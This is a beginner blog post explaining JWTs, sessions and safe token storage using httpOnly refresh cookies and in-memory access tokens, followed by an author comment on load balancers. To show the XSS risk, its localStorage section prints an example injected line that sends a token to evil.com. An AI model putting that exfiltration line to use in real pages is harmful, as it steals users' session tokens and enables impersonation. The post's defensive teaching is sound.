DEV Community

Mohamed Idris
Mohamed Idris

Posted on

JWT for Beginners, Plus Where to Store It Safely

If you have ever built a login page, you have probably heard of JWT. People throw the word around like everyone knows what it means. This post explains it from zero, with examples you can read and follow, and ends with the safest way to store one in the browser.

No prior knowledge needed. Just basic web stuff: HTML, JavaScript, and the idea that a server sends responses to a browser.

The Problem We Had Before JWT

Imagine you build a website with a login form. The user types email and password, your server checks them, and the user is now logged in.

Here is the question: when that user clicks on a different page one second later, how does your server know it is still the same logged-in user?

HTTP is "stateless". Every request is brand new. The server has no memory of who you are. So we need a way to say "trust me, I logged in a moment ago".

The Old Way: Sessions

The classic answer is sessions. It works like this:

  1. User logs in with email and password.
  2. Server creates a random ID like abc123xyz and saves it in a database, with a note: "this ID belongs to user 42".
  3. Server sends that ID back to the browser as a cookie.
  4. Every future request, the browser sends the cookie automatically.
  5. Server reads the ID, looks it up in the database, and finds "oh, this is user 42".

This works fine, but it has a cost. Every single request hits the database just to check who the user is. If you have one server, fine. If you have ten servers behind a load balancer, they all need to share that session storage. It gets messy at scale.

Enter JWT

JWT stands for JSON Web Token. The idea is simple and clever:

What if the token itself contained the user info, and the server could trust it without looking anything up?

A JWT is a string that looks like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQyLCJlbWFpbCI6ImFAYi5jb20ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Enter fullscreen mode Exit fullscreen mode

Looks like garbage, but it has three parts separated by dots:

HEADER.PAYLOAD.SIGNATURE
Enter fullscreen mode Exit fullscreen mode

If you base64-decode the first two parts, you get readable JSON.

Header says what algorithm was used:

{ "alg": "HS256", "typ": "JWT" }
Enter fullscreen mode Exit fullscreen mode

Payload is the actual data (called "claims"):

{ "userId": 42, "email": "a@b.com", "exp": 1735689600 }
Enter fullscreen mode Exit fullscreen mode

Signature is a cryptographic stamp. The server made it using a secret key only the server knows. If anyone changes the payload (like flipping userId to 1 to impersonate the admin), the signature will not match anymore, and the server will reject it.

So the magic is: the token carries the user info AND a tamper-proof seal. The server does not need a database lookup. It just verifies the signature with its secret key, and if it checks out, it trusts the payload.

Why JWT Was Invented

Three reasons:

  1. No database lookup on every request. Faster.
  2. Stateless servers. Any server in your cluster can verify the token without sharing storage.
  3. Works across services. A single JWT can be accepted by your main API, your image service, your billing service, all without sharing a session database.

A Quick Comparison

Without JWT (sessions):

Browser  ->  "Hi, here is my session ID abc123"
Server   ->  (queries database) "Yep, that is user 42"
Server   ->  sends response
Enter fullscreen mode Exit fullscreen mode

With JWT:

Browser  ->  "Hi, here is my JWT"
Server   ->  (verifies signature with secret key, no database) "Yep, payload says user 42"
Server   ->  sends response
Enter fullscreen mode Exit fullscreen mode

How JWT Works in Practice

Here is the typical flow:

Login request:

// Frontend
const res = await fetch('/api/login', {
  method: 'POST',
  body: JSON.stringify({ email, password }),
})
const { token } = await res.json()
// token is the JWT string
Enter fullscreen mode Exit fullscreen mode

Server side (Node.js example):

import jwt from 'jsonwebtoken'

app.post('/api/login', async (req, res) => {
  const user = await checkPassword(req.body.email, req.body.password)
  if (!user) return res.status(401).send('Wrong password')

  const token = jwt.sign(
    { userId: user.id, email: user.email },
    process.env.JWT_SECRET,
    { expiresIn: '15m' }
  )

  res.json({ token })
})
Enter fullscreen mode Exit fullscreen mode

Using the token on every future request:

const res = await fetch('/api/profile', {
  headers: { Authorization: `Bearer ${token}` },
})
Enter fullscreen mode Exit fullscreen mode

Server checks the token:

app.get('/api/profile', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1]
  try {
    const payload = jwt.verify(token, process.env.JWT_SECRET)
    // payload.userId is now trusted
    res.json({ userId: payload.userId })
  } catch {
    res.status(401).send('Invalid token')
  }
})
Enter fullscreen mode Exit fullscreen mode

That is the whole concept. Now the hard question: where do you keep that token in the browser?

The Storage Question

The browser is going to need that token on every request. So you have to put it somewhere. Your options are:

  1. localStorage
  2. sessionStorage
  3. A regular cookie
  4. An httpOnly cookie
  5. A JavaScript variable in memory

Most tutorials show option 1 because it is the easiest. Most tutorials are also wrong about this.

Why localStorage Is Dangerous

localStorage is just a key-value store that any JavaScript on the page can read.

// On login
localStorage.setItem('token', jwt)

// On every request
const token = localStorage.getItem('token')
Enter fullscreen mode Exit fullscreen mode

Easy. So what is the problem?

The problem is XSS (cross-site scripting). If an attacker can sneak ANY JavaScript onto your page (through a comment field that you forgot to sanitize, a vulnerable npm package, a compromised analytics script), they can do this:

// Attacker's injected code
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
Enter fullscreen mode Exit fullscreen mode

And your user's token is gone. The attacker can now impersonate them until that token expires.

It does not matter how short you make the token. It does not matter how strong your password rules are. One XSS bug, one compromised dependency, and every logged-in user is exposed.

The Safer Pattern

The pattern most security people recommend has two parts:

1. Refresh token in an httpOnly cookie.

An httpOnly cookie is a cookie that JavaScript cannot read. The browser still sends it automatically with every request, but document.cookie will not show it, and fetch('evil.com?t=' + ...) cannot grab it.

The server sets it like this:

res.cookie('refreshToken', refreshToken, {
  httpOnly: true,    // JavaScript cannot read this cookie
  secure: true,      // only send over HTTPS
  sameSite: 'strict' // do not send on cross-site requests (blocks CSRF)
})
Enter fullscreen mode Exit fullscreen mode

This refresh token lives a long time (days or weeks). Its only job is to get new short-lived access tokens.

2. Access token in a regular JavaScript variable.

The access token is what you actually attach to API requests. It lives only in memory, in a normal variable, NOT in localStorage or any cookie.

let accessToken = null

export function setAccessToken(token) {
  accessToken = token
}

export function getAccessToken() {
  return accessToken
}
Enter fullscreen mode Exit fullscreen mode

Yes, this means when the user reloads the page, the variable is wiped and the access token is gone. That is a feature, not a bug. It also means there is nothing for an XSS attack to steal long-term.

3. On page reload, refresh the access token.

When the page loads, you call a refresh endpoint. The browser automatically sends the httpOnly refresh cookie. The server reads it, verifies it, and gives you back a fresh access token.

// Runs on app startup
async function bootstrap() {
  try {
    const res = await fetch('/api/auth/refresh', {
      method: 'POST',
      credentials: 'include', // sends the httpOnly cookie
    })
    const { accessToken } = await res.json()
    setAccessToken(accessToken)
  } catch {
    // Not logged in, redirect to login
  }
}
Enter fullscreen mode Exit fullscreen mode

Putting It All Together

Here is what a real login flow looks like with this pattern.

Login (server):

app.post('/api/login', async (req, res) => {
  const user = await checkPassword(req.body.email, req.body.password)
  if (!user) return res.status(401).send('Wrong password')

  const accessToken = jwt.sign(
    { userId: user.id },
    process.env.ACCESS_SECRET,
    { expiresIn: '15m' }
  )

  const refreshToken = jwt.sign(
    { userId: user.id },
    process.env.REFRESH_SECRET,
    { expiresIn: '7d' }
  )

  res.cookie('refreshToken', refreshToken, {
    httpOnly: true,
    secure: true,
    sameSite: 'strict',
    path: '/api/auth',
  })

  res.json({ accessToken })
})
Enter fullscreen mode Exit fullscreen mode

Refresh endpoint (server):

app.post('/api/auth/refresh', (req, res) => {
  const token = req.cookies.refreshToken
  if (!token) return res.status(401).send('No refresh token')

  try {
    const payload = jwt.verify(token, process.env.REFRESH_SECRET)
    const accessToken = jwt.sign(
      { userId: payload.userId },
      process.env.ACCESS_SECRET,
      { expiresIn: '15m' }
    )
    res.json({ accessToken })
  } catch {
    res.status(401).send('Invalid refresh token')
  }
})
Enter fullscreen mode Exit fullscreen mode

Frontend axios setup:

import axios from 'axios'

const api = axios.create({
  baseURL: '/api',
  withCredentials: true, // important: sends cookies
})

let accessToken = null

export function setAccessToken(token) {
  accessToken = token
  api.defaults.headers.common['Authorization'] = `Bearer ${token}`
}

// If a request fails with 401, try refreshing once
api.interceptors.response.use(null, async (error) => {
  const original = error.config
  if (error.response?.status === 401 && !original._retry) {
    original._retry = true
    try {
      const { data } = await api.post('/auth/refresh')
      setAccessToken(data.accessToken)
      return api(original) // retry the original request
    } catch {
      window.location.href = '/login'
    }
  }
  return Promise.reject(error)
})

export default api
Enter fullscreen mode Exit fullscreen mode

Side by Side

Where you put the token Can XSS steal it? CSRF risk? Survives reload?
localStorage Yes No Yes
Regular cookie Yes (via document.cookie) Yes Yes
httpOnly cookie No Yes (mitigated by SameSite) Yes
In-memory variable No (no persistence to steal) No No (refresh handles this)

The combination of httpOnly cookie for refresh + in-memory variable for access gives you the best of all worlds.

Common Questions

Q: Why two tokens? Is one not enough?

You could use one. But then you have to choose: short life means the user gets logged out constantly, long life means a stolen token works for weeks. Two tokens let you have a short-lived access token (limits damage if leaked) and a long-lived refresh token (kept somewhere JavaScript cannot touch).

Q: Can the server "log someone out" with JWT?

Not directly, because JWTs are stateless. The token is valid until it expires. This is why short access tokens matter. For the refresh token, the server CAN keep a list of revoked refresh tokens in a database. So real-world systems are usually a hybrid: stateless for the fast path, stateful for the rare logout.

Q: Is the JWT payload encrypted?

No. It is just base64-encoded, which means anyone can read it. Never put secrets in the payload. The signature only proves it was not changed, not that it is hidden.

Q: What about SameSite=Lax versus Strict?

Strict means the cookie is never sent on requests from another site. Safer, but it means if someone clicks a link to your site from Google, they will not appear logged in. Lax allows top-level navigation, which is usually fine. Pick Strict for sensitive apps, Lax for general use.

TL;DR

  • JWT is a self-contained token that proves who you are without a database lookup. It works because the server signs it with a secret only the server knows.
  • It was invented to make authentication faster, stateless, and easy to share between services.
  • Storing JWTs in localStorage is convenient but dangerous. One XSS bug and every token is stolen.
  • The safer pattern: keep a long-lived refresh token in an httpOnly cookie, and a short-lived access token in a JavaScript variable. On page reload, hit a refresh endpoint to get a new access token.
  • Always set Secure, httpOnly, and SameSite on auth cookies.

That is the whole story. The pattern feels like more code at first, but it is the difference between "we got hacked" and "we did not".

Top comments (1)

Collapse
 
edriso profile image
Mohamed Idris

Quick clarification on "load balancer" and what a "token" actually is

I wanted to add some background for anyone who is newer to backend stuff and got stuck on two words that are easy to gloss over: load balancer and token. The post uses both like everyone knows them, so here is the plain-English version.

What is a load balancer?

When you build a website that just one or two people use, one server is enough. The browser asks for a page, the server replies, done.

But what if a million people use your site at the same time? One server cannot handle a million requests per second. So you run many copies of the same server. Maybe ten, maybe a hundred. They all run the same code.

Now there is a new question: when a user types yourapp.com into their browser, which of those ten servers do they talk to?

That is what a load balancer does. It is a special server that sits in front of all your servers. Every incoming request goes to the load balancer first, and the load balancer decides which server to hand it off to. It tries to spread the work evenly so no single server gets crushed.

                       +-------- Server 1
Browser  ->  Load Balancer  -- Server 2
                       +-------- Server 3
                       +-------- Server 4
Enter fullscreen mode Exit fullscreen mode

Each request might hit a different server. The first request from your browser goes to Server 1, the next to Server 3, the one after that to Server 2. The user has no idea this is happening.

Why this matters for sessions

Now go back to the post. With the old session approach:

  1. You log in. Your request happens to land on Server 1.
  2. Server 1 creates a session ID and saves it in its OWN memory: "abc123 = user 42".
  3. Your next request hits Server 3.
  4. Server 3 looks for "abc123" in its memory. Not there. It thinks you are not logged in.

To fix this, all the servers have to share session storage. Usually that means they all talk to a separate database (like Redis) just for sessions. More moving parts, more things to break, more network calls per request.

With JWT, the token itself contains the user info AND a signature the server can verify with its secret key. Any server can verify it without checking a database. You just give every server the same secret key, and they can all independently say "yep, this token is valid, here is the user".

That is the "stateless" benefit. Servers do not need to share state because the proof of identity travels with the request itself.

What is a "token", really?

Throughout the post, the word "token" comes up a lot. Just to be crystal clear: a token is just a string. That is it. A long, hard-to-guess string of characters.

You could pick any string and call it a token. The magic is not in the string. The magic is in what the server does with it.

There are two main flavors:

Random opaque tokens. A random string like XJ3kP9nR7vQ2mB5.... The server stores in a database "this string belongs to user 42". When you send the token, the server looks it up. Simple. The downside is the database lookup on every request (this is what classic sessions use).

Self-describing tokens (JWT is one). A string that contains data inside it (the user ID, expiration time, etc.) plus a cryptographic signature. The server can verify the signature with its secret key and trust the data inside, without looking anything up. Faster, no DB hit, works across servers. Trade-off: harder to revoke (cannot just delete from DB).

So when the post says "access token" and "refresh token", both are just strings. The difference is what they are used for:

  • Access token: short-lived (15 minutes-ish), sent on every API request, proves "I am user 42 right now". If stolen, the attacker has only a few minutes before it expires.
  • Refresh token: long-lived (days or weeks), sent ONLY to the refresh endpoint, used to get new access tokens. Stored in an httpOnly cookie so JavaScript cannot touch it.

The two-token system limits damage. If the access token leaks (XSS, network sniffing, whatever), it expires fast. The refresh token is long-lived but locked away where bad code cannot read it.

A quick analogy

Think of it like a hotel.

  • The refresh token is your passport. You showed it once at check-in. The hotel locked it in their safe. It proves who you are over a long time, but you do not carry it around the building.
  • The access token is your room key card. The reception desk gave it to you when you checked in. You use it to open your room, the gym, the pool. It only works for a few days. If you lose it, you go back to the desk (with proof of identity), and they print a new one. The card alone is not enough to be "you", just enough to use the building's services.
  • The server's secret key (used to sign JWTs) is the master key the hotel uses to verify keycards are real and not forged.

Hope this helps anyone who hit those words and went "wait, what?". The concepts are simple once you have the words.